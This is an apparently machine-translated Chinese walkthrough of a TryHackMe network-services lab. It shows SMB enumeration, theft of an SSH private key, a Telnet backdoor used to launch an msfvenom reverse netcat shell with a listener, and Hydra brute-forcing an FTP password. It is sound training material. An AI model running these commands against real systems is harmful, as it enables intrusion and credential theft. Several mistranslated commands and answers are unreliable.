这是为 TryHackMe.com 房间 Network Services 撰写的文章,由 Polomints 创建。
这篇文章将包括大多数问题的答案,但是,根据 TryHackMe 的要求,它不会包括标志或密码。
在撰写本文时和此处,可以在网络防御学习路径中找到该房间。
您可以在此处找到我的视频演练。
这个房间里的任务遵循重复的模式:理解、枚举和利用。理解任务会教您有关将要利用的服务的信息。枚举任务教您如何收集有关服务的数据。然后,利用任务让您对每个服务执行利用。
该房间使用的虚拟机均位于枚举任务中,由绿色堆栈图标表示 。由于虚拟机可能需要 1-5 分钟才能启动,因此我建议您在开始理解任务之前,跳至枚举任务并启动计算机。这让您有时间在返回并完成理解任务时进行设置。
另外,假设您和我一样是 TryHackMe 的新手。在这种情况下,您可能只遇到过可以使用 OpenVPN 连接到的虚拟机,方法是在浏览器中输入其 IP 地址(通常使用任务中提到的端口号),然后将您带到 GUI。这个房间的情况并非如此。这些虚拟机设置为提供您正在测试的服务,并且仅提供这些服务。这意味着您将使用本地计算机上的终端(攻击盒),或者如果您是高级用户,则使用基于浏览器的 Kali 盒与虚拟机进行通信。我使用基于浏览器的 Kali 盒子。
如果您将使用本地计算机,我建议使用 Linux 计算机或安装了 Kali/您最喜欢的风格的 Windows Subsystem for Linux。您需要的所有工具都已随 Kali 预装,但可以添加到其他发行版中。另外,我的计算机上没有适用于 Linux 的 Windows 子系统,因此您可能需要自己解决一些问题。
有一部分需要基于浏览器的 Kali 机器/攻击盒中提供的文件。如果您想使用本地计算机,则必须启动 Attack Box 并下载此文件。您也可以仅使用 Attack Box 来完成任务 10。
@@ 我随后了解到,您可以从其 GitHub 上的 rockyou.txt 下载该文件,这是迄今为止最简单的方法,但我将在这里留下这些附加说明,以防有人想尝试它们。 @@
如何在 Windows 10 上使用 WinSCP 下载
如果您想下载 136MB 文件并使用本地终端,以下是在 Windows 计算机上执行此操作的方法。对于传输,我使用了 WinSCP。首先,启动 splitview Attack Box。然后,一旦您可以访问桌面,请单击屏幕左下角的“i” 。这将为您提供攻击盒的 IP 地址、用户名和密码。然后,在WinSCP的登录屏幕上,选择“New Site”,然后输入攻击盒的IP地址作为主机名,用户名作为用户名,密码作为密码。
记住;你的信息将与我的不同。选择 sftp 作为协议,它应该自动填充端口 22;如果没有,请输入 22 作为端口。然后点击登录。您可能会收到一个弹出窗口,询问您是否要“继续连接到未知服务器...”,单击“是”。登录后,您将进入Attack Box的根目录;双击“Tools”,然后双击“wordlists”(WinSCP中的路径会更改为/usr/share/wordlists/
就可以了。)找到名为rockyou.txt的文件,选择它,然后单击下载。
将打开“下载”对话框,选择您想要的任何文件路径,然后单击“确定”。现在您已获得任务 10 所需的文件。记住其文件路径;你会需要它的。
结束,如何在Windows 10上使用WinSCP下载
如何使用 Linux 终端下载
就像 Windows 一样,您将启动分割视图 Attack Box。然后,一旦您可以访问桌面,请单击屏幕左下角的“i” 。这将为您提供攻击盒的 IP 地址、用户名和密码。
在您的终端中,您将输入sftp root@{Your Attack Box Private IP}
(不带括号)。执行本文中的命令时,请务必删除大括号。我见过的每个 Attack Box 的用户名都是 root;如果您的不同,请在上述命令中输入用户名代替 root。然后它会要求您输入密码。从 Attack Box 的计算机信息窗口复制并粘贴密码。如果密码没有显示,请不要担心;只需粘贴/输入并按 Enter 键即可。连接后,您应该会收到sftp>
提示符。如果出现问题,请仔细检查您是否已连接 OpenVPN,以及您使用的用户名/IP 地址/密码是否正确。出现sftp
提示符后,输入get /root/Desktop/Tools/wordlists/rockyou.txt
,密切注意大小写。它应该开始将文件下载到您的本地系统。
如果您使用与我的发行版(Kali)类似的发行版,它应该将该文件放入您用户的主文件夹中。记住文件路径;您将需要它来完成任务 10。
结束,如何使用Linux终端下载
现在,所有这些都完成了,让我们开始执行任务吧!
此任务纯粹是提供信息,不需要回答问题。通读它可以让您知道您需要对 Linux 系统的操作有基本的了解,并建议您有一个提升技能的空间。此外,它还提醒您保持水分。
单击“已完成”按钮并继续执行下一个任务。
此任务向您介绍 Microsoft 服务服务器消息块 (SMB),这是一种客户端-服务器协议,用于通过网络共享对文件、打印机和其他资源的访问。由于这是一项理论任务,请通读信息并回答以下问题。如果您以前从未见过 NetBEUI 这个词,我也不会责怪您,它的发音是 Net Buoy,就像海洋浮标一样。
如果您想最大程度地减少等待时间,我建议您立即打开任务 3 并单击绿色的“启动机器”按钮,然后向上滚动并运行此任务。
问题1
SMB 代表什么?
服务器消息块
问题2
SMB 是什么类型的协议?
响应请求
问题3
客户端使用什么连接到服务器?
TCP/IP
问题4
Samba 在什么系统上运行?
Unix
此任务涵盖了对于成功利用漏洞至关重要的信息收集阶段。
如果您按照上述说明进行操作,则您在完成任务 2 之前就已经为此任务启动了机器。如果没有,请立即单击标有“启动机器”的绿色按钮来启动机器。机器完全启动并运行后,您将在页面顶部看到 IP 地址;你会需要它。
首先简单介绍一下端口扫描工具Nmap。如果您在继续之前想要/需要更多 Nmap 经验,它会推荐一个属于 Red Primer 系列一部分的房间。对于这个房间,您需要知道的唯一两个选项是-A
,它启用操作系统检测、版本检测、脚本扫描和跟踪路由,以及选项-p-
,它告诉 Nmap 扫描所有端口,而不仅仅是端口1000 个最常见。我们将在此处使用的 Nmap 扫描的语法是nmap {options} {target}
。因此,对于第一次扫描,它看起来类似于nmap -A -p- 10.10.10.10
,其中使用活动计算机的 IP 代替所有 10。此屏幕截图显示了您可以在哪里找到您的计算机 IP。确保使用您的活动计算机的 IP,不要只复制您在此处看到的 IP。
我们还将使用 enum4linux 工具,这对我来说是新的。 enum4linux 用于枚举 Windows 和 Linux 系统上的 SMB 共享。有一个可用的 enum4linux 选项列表;然而,我使用的-a
选项涵盖了所有这些。注意:为 enum4linux 提供的信息将该选项描述为-A
带大写字母,这是不正确的;它必须是小写a
。
问题1
执行您选择的 Nmap 扫描。开放了多少个端口?
对于这个问题,您可以对nmap {IP of your Active Machine}
进行基本的 Nmap 扫描。但是,如果您想运行 1 次扫描并获取以下问题的几乎所有信息,请运行nmap -A -p- {IP of your Active Machine}
。这是通过基本扫描获得的信息。
从扫描结果中可以看到,有 3 个开放端口:22、139 和 445。但是,我们不需要的其他端口并不多。
问题2
SMB 在哪些端口上运行?
这个问题有点棘手。 SMB 是端口 445 上的 Microsoft-ds 的一部分,但它可以在端口 139 上通过 NetBIOS 运行。因此,这个问题的答案是两者兼而有之。
139/445
问题3
让我们开始使用enum4linux,进行完整的基本枚举。首先,工作组名称是什么?
对于这个问题,如果您运行nmap -A {Your Machine's IP}
,您就已经拥有该信息。
然而,这个问题正在教我们有关 enum4linux 的知识,所以让我们使用它。运行enum4linux -a {IP Address of your Active Machine}
。
从上面的屏幕截图中可以看到,工作组被列为 WORKGROUP。
问题4
机器的名称是什么?
对于这个问题,如果您使用nmap -A -p-
则需要向下滚动到扫描结果的“主机脚本结果”部分。
在计算机名称下,显示polosmb
。
对于 enum4linux,你必须做更多的推断。
问题5
上面的屏幕截图中还包含了这个问题的答案。
正在运行什么操作系统版本?
6.1
问题6
这个问题只能用enum4linux来回答。运行enum4linux -A {IP of your Active Machine}
哪些份额是我们可能想要调查的?
IPC$是进程间通信;不需要那个。 print$ 用于打印机驱动程序,也不是我们真正想要的。 netlogon 用于网络登录服务,可能不会有我们需要的信息。剩下的配置profiles
包含有关用户配置文件的信息。那有潜力。我们也许能够在那里找到用户的登录信息。
这是我们获得更多乐趣的地方。我们将使用 SMBClient,它在 Kali 上可用,但可以添加到其他发行版。对于 SMBClient,我们将使用语法smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
。
问题1
在默认端口上具有 IP 10.10.10.2 的计算机上,以用户“suit”身份访问名为“secret”的 SMB 共享的正确语法是什么?
看看上面的语法,我们可以简单地插入信息。
smbcliet //10.10.10.2/secret -U suit -p 445
问题2太好了!现在您已经掌握了语法的窍门,让我们尝试利用此漏洞。您有用户列表、共享名称和可疑漏洞。
无需回答;只需单击“完成”即可。
问题3
让我们看看我们感兴趣的共享是否已配置为允许匿名访问,即;它不需要身份验证即可查看文件。我们可以通过以下方式轻松做到这一点:
使用用户名“匿名”
连接到我们在枚举阶段找到的共享
并且不提供密码
当它要求输入密码时,只需按 Enter 键即可。
共享是否允许匿名访问?是/否?
如果您看到 smb:> 提示符,则表示您已成功登录,无需提供密码。因此, Y
共享允许匿名访问。
问题5
输入ls
查看共享内容。您认为它能为我们提供一些信息吗?
第一个引起我注意的是文本文件。现在请记住,Linux 不喜欢名称中带有空格的文件,因此您必须在命令中在其周围添加“”。说到,正如终端所说,输入“help”将获得可用命令的列表,我发现这非常有用。
通常,我会使用cat
来显示 .txt 文件的内容,但它不在列表中。看来 SMBClient 不知道这一点,所以我选择了more
。
该文件为我们提供了两大信息:基于 John Cactus 的潜在用户名、文件的地址以及 John 设置的 SSH 帐户。
伟大的!四处看看是否有任何可能包含有价值信息的有趣文档。我们可以假设此配置文件文件夹属于谁?
约翰·仙人掌
问题6
阅读上一个问题中的 .txt 文件也为我们提供了这个问题的答案。
配置了哪些服务以允许他在家工作?
SSH
问题7
现在我们已经完成了 .txt 文件,点击“q”退出编辑器。
好的!现在我们知道了,我们应该查看共享上的哪个目录?
鉴于我们正在寻找有关 John 的 SSH 帐户的更多信息,我认为这里有一个文件夹可能非常有用;你认为是哪一个?
.ssh
问题8
该目录包含身份验证密钥,允许用户在服务器上验证自己的身份,然后访问服务器。这些钥匙中哪一个对我们最有价值?
因此,我们将通过输入cd .ssh
进入 .ssh 文件夹。然后再次运行ls
命令查看内容。
默认 SSH 密钥存储在文件id_rsa
中。这就是我们的答案。
如果您想查看 SSH 密钥是什么样子,可以再次使用 more 命令来查看。 more id_rsa
。最重要的部分是它以“BEGIN RSA PRIVATE KEY”开头,两侧各有 5 个破折号。然后以“END RSA PRIVATE KEY”结尾,两侧也带有 5 虚线。然后再次“q”退出编辑器。
现在,我们可以做一些额外的侦察,以使下一个问题变得更容易一些。运行more id_isa.pub
。看看在文件的最后你能看到什么。
问题9
将此文件下载到本地计算机,然后使用“chmod 600 [file]”将权限更改为“600”。
要下载该文件,请查看帮助命令,看看您认为哪个命令最有可能导致下载。
我认为get
会是一种享受。因此,要下载仍在 .ssh 文件夹中的文件,您将运行get id_rsa
。在基于 Kali 浏览器的计算机上,该文件会将文件放入您的根目录中。如果您使用本地运行的 Linux 发行版,它可能会将其放入您用户的主目录中。
现在,RSA密钥文件需要一定的安全性才能工作,因此我们需要为此文件设置正确的权限。我们也停止了共享,因此运行quit
以返回到计算机的提示符。然后运行chmod 600 {File Path}
因此,对于 Kali Web 计算机, chmod 600 id_rsa
。对于其他计算机,您可以使用cd
导航到文件所在的文件夹,然后运行上面的命令,我们在命令中键入文件的路径。
现在,使用您已经收集的信息计算出帐户的用户名。然后,使用服务和密钥登录服务器。
由于我们做了一点额外的侦察,我们知道用户名是“cactus”。当我第一次遇到这个问题时,我假设用户名是 j.cactus,然后遇到了一个我不明白的错误 - 找到正确的用户名解决了这个问题。
使用指定密钥的 SSH 语法为: ssh -i {Key File} {Username}@{IP Address}
。所以对于我们来说,这将是ssh -i id_rsa cactus@{Active Machine's IP Address}
当它询问您是否确定要继续时,输入“yes”并按 Enter 键。恭喜!当您看到提示更改为cactus@polosmb:~$
时,您现在已成功使用不属于您的帐户登录到服务器。
使用ls
命令查看这里有什么,只有一个文件;打开它,你就可以夺取那面旗帜了!您可以在这里使用cat
将内容打印到屏幕上。
问题10
复制您刚刚打开的文件的内容并将其粘贴到该答案的框中。 TryHackMe 要求写入排除 Flags,所以我不打算将其发布在这里。
当 SMB 部分完成时,您应该终止当前的活动计算机,跳至任务 6 并启动该计算机,然后返回到任务 5。
Telnet 是一种过时的应用协议。它用于与远程主机交互。一旦连接到远程系统,它就成为该系统的虚拟终端。然而,它已经过时了,因为它以明文形式发送所有信息;没有加密。由于 SSH 更加安全,因此在大多数情况下已经取代了 Telnet。要使用 Telnet 连接到远程系统,请使用语法telnet {IP Address} {port Number}
。 Telnet 的默认端口是 23。
问题1
什么是远程登录?
应用协议
问题2
什么已经慢慢取代了Telnet?
SSH
问题3
如何通过端口 23 连接到 IP 10.10.10.3 的 Telnet 服务器?
远程登录 10.10.10.3 23
问题4
缺少什么意味着所有 Telnet 通信都是明文形式?
加密
如果您尚未启动计算机来执行此任务,请立即启动。
与 SMB 任务一样,我们将从运行目标系统的端口扫描开始。
运行nmap -A -p- {IP address of your Active Machine}
此扫描可能需要一段时间。我的完成时间为 174.56 秒。
问题1
目标机器上打开了多少个端口?
仅“1”端口打开。
问题2
这是什么港口?注意:这是询问哪个端口开放。
8012
问题3
该端口未分配,但仍列出它正在使用的协议;这是什么协议?
传输控制协议
问题4
现在重新运行Nmap扫描,不带-p-标签;有多少端口显示为开放?
请记住, -p-
选项告诉 Nmap 扫描所有端口,因此通过删除它,Nmap 将仅扫描前 1000 个端口。
“0”端口已打开。
问题5
我们看到将 Telnet 分配给非标准端口,它不属于常见端口列表或 Nmap 扫描的前 1000 个端口。枚举时尝试各个角度非常重要,因为您在此处收集的信息将为您的利用阶段提供信息。
无需回答;单击完成
问题6
根据返回给我们的标题,我们认为这个端口可以用来做什么?
您可以在最后一个屏幕截图的底部看到这个问题在谈论什么。
后门
问题7
它可能属于谁?收集可能的用户名是枚举中的重要步骤。
和上一个问题一样,信息在最后一张截图中。
斯基迪
问题8
始终记下您在枚举阶段发现的信息,以便在继续尝试漏洞利用时可以参考它。
记笔记非常重要。撰写我们的调查结果报告是安全的重要组成部分。养成彻底记笔记的习惯会让一切变得更容易。
无需回答;单击完成
方法细目
所以,从我们的枚举阶段,我们知道:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
使用此信息,让我们尝试访问此 Telnet 端口并使用它作为立足点,在计算机上获得完整的反向 shell!
请记住上面的内容,telnet 的语法是telnet {Machine IP} {Port}
问题1
好吧,让我们尝试连接到这个 telnet 端口!如果您遇到困难,请查看上面概述的连接语法。
为此,您需要运行telnet {Your Active Machine's IP Address} 8012
因为即使 Telnet 的默认端口是 23(正如我们在 Nmap 搜索中发现的那样),该系统仍将其设置在非标准端口上。
无需回答;单击完成。
问题2
伟大的!这是一个开放的 telnet 连接!我们收到什么欢迎信息?
斯基迪的后门。
问题3
让我们尝试执行一些命令。我们在 telnet 会话中输入的任何输入都会得到返回吗? (是/否)
对于此命令,请输入您想要的任何命令。我尝试ls
看看那里有什么。由于我们没有得到任何信息,所以这个问题的答案是:
氮
问题4
嗯……这很奇怪。让我们检查一下我们输入的内容是否作为系统命令执行。
无需回答;单击“完成”。
问题5
由于你的所有命令都被发送到虚空,想要关闭这个连接有点困难。要让提示更改为有用的内容,请按ctrl + ]
。即同时按下 Ctrl 和右方括号键,这会将提示符更改为telnet>
,然后键入close
并按 Enter 键。您现在应该回到平常的提示。或者,如果您愿意,可以保持 telnet 会话连接并打开一个新选项卡/窗口来运行以下 tcpdump。
在本地计算机上启动 tcpdump 侦听器。
tcpdump 侦听器将监视所选接口的流量,然后将该流量记录在屏幕上。您将启动它,然后让它在自己的选项卡/窗口中运行。
如果使用您自己的计算机进行 OpenVPN 连接,请使用:
sudo tcpdump ip proto icmp -i tun0
如果使用 AttackBox,请使用:
sudo tcpdump ip proto icmp -i eth0
这将启动一个 tcpdump 侦听器,显式侦听 ping 操作所依据的 ICMP 流量。
两者的区别在于网络接口。在你本地的 Linux 机器上,你应该使用 tun0,它是应该是 OpenVPN 连接的隧道设备,但不要引用我的话。您可能必须运行sudo ifconfig
来确定应使用哪个接口。
无需回答;单击完成
问题6
对于这个问题,我们将再次使用telnet会话;如果你还开着它,那就太好了。如果没有,请打开一个新选项卡/窗口并使用上述相同步骤重新连接到计算机。请注意,对于此问题,您将需要您正在使用的系统(攻击盒、Kali 机器或本地系统)的 IP 地址。
这个问题让我们通过 telnet 会话运行 ping 命令。我们将输入.RUN ping {Local IP Address} -c 1
。这将从远程主机向我们的本地计算机发送 1 个 ping。如果您可以同时查看两个窗口,您就可以看到发生了什么。
现在,通过 telnet 会话使用命令“ping [local THM ip] -c 1”来查看我们是否能够执行系统命令。我们收到任何 ping 吗?注意,您需要在前面加上 .RUN (Y/N)
您应该通过 tcpdump 侦听器在选项卡上看到 ping 请求和 ping 回复。
是
问题7
伟大的!这意味着我们可以执行系统命令并且可以访问本地计算机。现在让我们玩得开心吧!
无需回答;单击继续
问题8
对于此问题,您将保持 telnet 会话继续,并在不同的选项卡/窗口中输入该内容。您可以按ctrl + c
终止 tcpdump 侦听器并使用该窗口;我们不再需要 tcpdump 了。运行下面的命令,并将本地系统的 IP 地址插入括号所在的位置,但不要去掉括号。一旦你按下命令的回车键,它会花费一些时间来生成有效负载,然后将其打印到屏幕上。
我们将使用 msfvenom 生成反向 shell 有效负载。这将为我们生成并编码一个 netcat 反向 shell。这是我们的语法:
“msfvenom -p cmd/unix/reverse_netcat lhost=[本地tun0 ip] lport=4444 R”
-p = 有效负载 lhost = 我们的本地主机 IP 地址(这是您计算机的 IP 地址) lport = 要侦听的端口(这是您计算机上的端口) R = 以原始格式导出有效负载
生成的有效负载以什么单词开头?
MKFIFO
问题9
完美的。我们快到了。现在,我们需要做的就是在本地计算机上启动一个 netcat 监听器。我们使用以下方法来做到这一点:
“nc -lvp [监听端口]”
对于我们在有效负载中选择的侦听端口,该命令会是什么样子?
数控-lvp 4444
问题10
伟大的!现在正在运行;我们需要将 msfvenom 负载复制并粘贴到 telnet 会话中,并将其作为命令运行。希望这会给我们一个目标机器上的 shell!
请记住,要使该命令在 telnet 会话中起作用;你需要在开始时有.RUN。
无需回答;单击完成。
问题11
成功! flag.txt的内容是什么?
如果反向 shell 有效,您应该在 netcat 侦听器下看到“从 ip 等连接到 [10.10.xx]”。
从那里,您可以像往常一样输入命令并将它们发送到远程系统。
我建议从ls
开始查看那里有哪些文件,并且您应该能够找出其余的文件,因为您之前已经捕获过这样的标志。
有关 Telnet 的部分到此结束。因此,终止当前的活动机器,跳转到任务 9,启动该机器,然后返回到任务 8。
FTP,文件传输协议。顾名思义,它用于通过网络传输文件。常规 FTP 已经过时,并已被几个不同的、更安全的标准所取代。 FTPS 是 FTP over TLS,因此它的默认端口仍然是 21,就像 FTP 一样。另一种是SFTP,即安全文件传输协议,使用SSH,所以它的默认端口是22。
问题1
FTP 使用什么通信模型?
客户端-服务器
问题2
标准 FTP 端口是什么?
21
问题3
FTP连接有几种模式?
2
我们将使用 FTP 客户端。要仔细检查您的系统上是否安装了 FTP 客户端,您可以输入ftp
,您应该会看到ftp>
提示符。如果没有,您所要做的就是通过sudo apt install ftp
安装它。
问题1
我们将再次使用 Nmap 来枚举该 FTP 服务器。查看以下问题,您将需要比从基本扫描中获得的更多信息,因此我选择了nmap {Active Machine IP Address} -A -p-
。
目标机器上打开了多少个端口?
这个问题有点奇怪。当我跑过这个房间时,查看我的正确答案,它显示 2。刚才进行的扫描显示,只有端口 21 是开放的。我建议从 1 开始,如果不起作用,就说 2。
问题2
FTP 在什么端口上运行?
21
问题3
其上正在运行什么 FTP 变体?
VSFTPD
问题4
太好了,现在我们知道我们正在处理什么类型的 FTP 服务器了;我们可以检查是否可以匿名登录FTP服务器。我们可以通过在控制台中输入ftp [IP]
并在出现提示时输入“anonymous”且不输入密码来完成此操作。
匿名 FTP 目录中的文件的名称是什么?
PUBLIC_NOTICE.txt
问题5
对于这个问题,您将再次使用get
命令,就像使用 Telnet 一样。输入get PUBLIC_NOTICE.txt
这会将文件下载到您的系统,以便您可以查看其内容。您不再需要连接到 FTP 服务器,因此输入exit
返回到标准提示符。
现在,您需要找到刚刚下载的文件。对于基于浏览器的 Kali 机器,它被放入您的根目录中。它应该与您在 telnet 任务期间获得的文件位于同一目录中。
一旦您在系统上找到它,就可以阅读它了。导航到它所在的文件夹或使用cat
命令输入整个文件路径。 cat PUBLIC_NOTICE.txt
并查看是否可以看到任何对我们有用的信息;也许是用户名?
我们认为可能的用户名是什么?
麦克风
问题6
伟大的!现在我们已经获得了有关 FTP 服务器的详细信息,最重要的是,还获得了可能的用户名。让我们看看我们能用它做什么......
无需回答;单击“完成”。
对于这个特定的任务,我们将使用我们已经知道的用户名mike
并尝试暴力破解他的密码。这就是rockyou.txt
文件发挥作用的地方;它是一个密码列表。如果您使用自己的本地系统,请记住下载它的位置并将其用作文件路径。我们将要使用的工具称为 Hydra。 Hydra 可以获取密码列表并在系统上尝试使用它们来查看它们是否有效。
TryHackMe 页面对我们将用于此攻击的语法进行了详细的细分。我强烈建议通读它。
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
根据您使用的系统,您的文件路径可能会有所不同。另外,如果您使用的是基于浏览器的 Kali 机器,则需要执行额外的步骤。在 Kali 机器上,单词列表被压缩为 GZ 文件。我们需要解压它。在终端中输入gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
。片刻之后,您将获得所需的未压缩文件。
要找到正确的密码,您需要输入hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
。
如果一切成功,您应该将密码显示为列表中的最后一项。
用户“mike”的密码是什么?
您可以在 Hydra 的输出中找到这一点。
问题2
宾果!现在,让我们以该用户身份使用“ftp [IP]”连接到 FTP 服务器,并在出现提示时输入凭据
现在我们将使用我们新找到的凭据登录。
输入ftp {Your Active Machine IP Address}
。然后输入mike
作为用户名,并输入上一个问题的答案作为密码。您现在应该有ftp>
提示符。
无需回答;单击完成。
问题3
使用ls
查看目录的内容。这里有两个文件。 .txt 可能是人类可读的。使用get
命令将其下载到您的系统。现在您已经执行了几次此操作,您应该能够找到该文件并查看其内容。如果您遇到困难,可以向上滚动并找到其他任务的说明。
ftp.txt 是什么?
恭喜!您已经夺取了第三面旗帜并完成了房间的活动部分!干得好!
此任务提供了一些地方供您进一步阅读相关主题。
无需回答;单击“完成”。
你穿过这个房间做得很好。一开始可能看起来很吓人,可能轻而易举,但你做到了。
非常感谢 Polomints 创建了这个房间,并感谢 TryHackMe 整理了这个优秀的网站。